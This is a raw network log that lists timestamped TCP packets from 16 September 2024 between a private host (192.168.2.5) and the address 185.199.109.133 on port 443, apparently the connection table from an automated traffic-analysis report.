Sep 16, 2024 19:24:31.461273909 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.461312056 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.461319923 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.461343050 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.461427927 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462095022 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462110996 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462161064 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462188959 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462188959 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462188959 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462197065 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462233067 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462246895 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462248087 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462248087 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462260008 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462275982 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462385893 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.462954044 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.462996006 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.463032007 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.463037968 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.463052034 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.463135004 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.463623047 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.463639021 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.463741064 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.463745117 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.463824987 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.464469910 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.464510918 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.464546919 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.464553118 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.464581966 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.464605093 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.464720964 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.464736938 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.464817047 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.464817047 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.464823008 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.465528965 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.465934038 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.465986967 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466002941 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466015100 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466037035 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466048956 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466073036 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466068029 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466080904 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466120958 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466126919 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466161013 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466192961 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466196060 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466201067 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466224909 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466238022 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.466273069 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.466345072 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.467308044 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467338085 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467447042 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.467447996 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.467464924 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467643976 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.467839956 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467849016 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467884064 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467896938 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467912912 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.467925072 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.467983961 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.467988968 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.468147993 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.468244076 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.468385935 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.468409061 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.468481064 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.468481064 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.468497038 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.468635082 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.469062090 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469082117 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469101906 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469139099 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.469144106 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469152927 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469181061 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.469197989 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469223976 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.469575882 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.469681978 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469690084 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469758034 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469775915 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.469784021 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469799995 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.469822884 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.470048904 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.470541954 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.470606089 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.470653057 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.470670938 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.470715046 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.470791101 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.470834970 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.470855951 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.470889091 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.470904112 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.470927000 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.471086979 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.471354961 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.471417904 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.471456051 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.471471071 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.471508980 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.471611023 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.471612930 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.471652985 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.471692085 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.471699953 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.471764088 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.471985102 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472045898 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472095013 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472138882 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472167015 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472173929 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472182035 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472214937 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472219944 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472232103 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472245932 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472275019 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472275019 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472275972 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472290039 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.472333908 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472387075 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.472980022 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.473021984 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.473079920 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.473087072 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.473103046 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.473201036 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.473891020 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.473901033 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.473931074 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.473932028 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.473953009 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474009991 CEST	443	51653	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474028111 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474055052 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474055052 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474056959 CEST	443	51655	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474061966 CEST	443	51651	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474065065 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474138021 CEST	51653	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474212885 CEST	443	51654	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474248886 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474253893 CEST	51651	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474256039 CEST	51655	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474309921 CEST	51654	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474837065 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474878073 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474920988 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.474935055 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.474971056 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475004911 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475023031 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475044966 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475069046 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475092888 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475126982 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475127935 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475128889 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475136995 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475146055 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475178957 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475212097 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475243092 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475703955 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475718975 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.475861073 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475861073 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.475868940 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.476372004 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.476396084 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.476434946 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.476438999 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.476453066 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.476486921 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.476767063 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.477539062 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.477555990 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.477988005 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.477994919 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478168011 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478192091 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478240967 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.478252888 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478260994 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.478292942 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.478624105 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478674889 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.478676081 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478715897 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.478729010 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478781939 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.478938103 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.478981972 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479005098 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479031086 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479044914 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479070902 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479176998 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479221106 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479259014 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479311943 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479319096 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479381084 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479403973 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479656935 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479674101 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479811907 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479854107 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479857922 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479863882 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.479914904 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479916096 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479923964 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.479931116 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.480024099 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.480043888 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.480087042 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.480138063 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.480138063 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.480146885 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.480287075 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.480338097 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.480370045 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.480412960 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.480426073 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.480478048 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.480709076 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481115103 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481131077 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481272936 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481272936 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481275082 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481280088 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481321096 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481348991 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481353045 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481363058 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481389046 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481389046 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481699944 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481726885 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481748104 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481790066 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481801987 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481836081 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481868029 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481910944 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481939077 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481940985 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.481946945 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.481997013 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.482984066 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483006954 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483015060 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483050108 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483067036 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483081102 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483081102 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483098984 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483129978 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483130932 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483170033 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483171940 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483174086 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483186007 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483187914 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483228922 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483251095 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483254910 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483254910 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483273983 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483598948 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483644009 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483671904 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483680964 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483685017 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483716011 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483920097 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.483932972 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.483961105 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.484009027 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.484018087 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.484062910 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.484107971 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.484133959 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.484152079 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.484203100 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.484215975 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.484250069 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.484308004 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485197067 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485236883 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485272884 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485275030 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485286951 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485287905 CEST	443	51648	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485315084 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485347986 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485347986 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485356092 CEST	51648	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485358953 CEST	443	51649	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485703945 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485750914 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485786915 CEST	51649	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485786915 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485796928 CEST	443	51650	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485853910 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485898018 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485944986 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.485958099 CEST	443	51652	185.199.109.133	192.168.2.5
Sep 16, 2024 19:24:31.485989094 CEST	51652	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.486000061 CEST	51650	443	192.168.2.5	185.199.109.133
Sep 16, 2024 19:24:31.486000061 CEST	51650	443	192.168.2.5	185.199.109.133
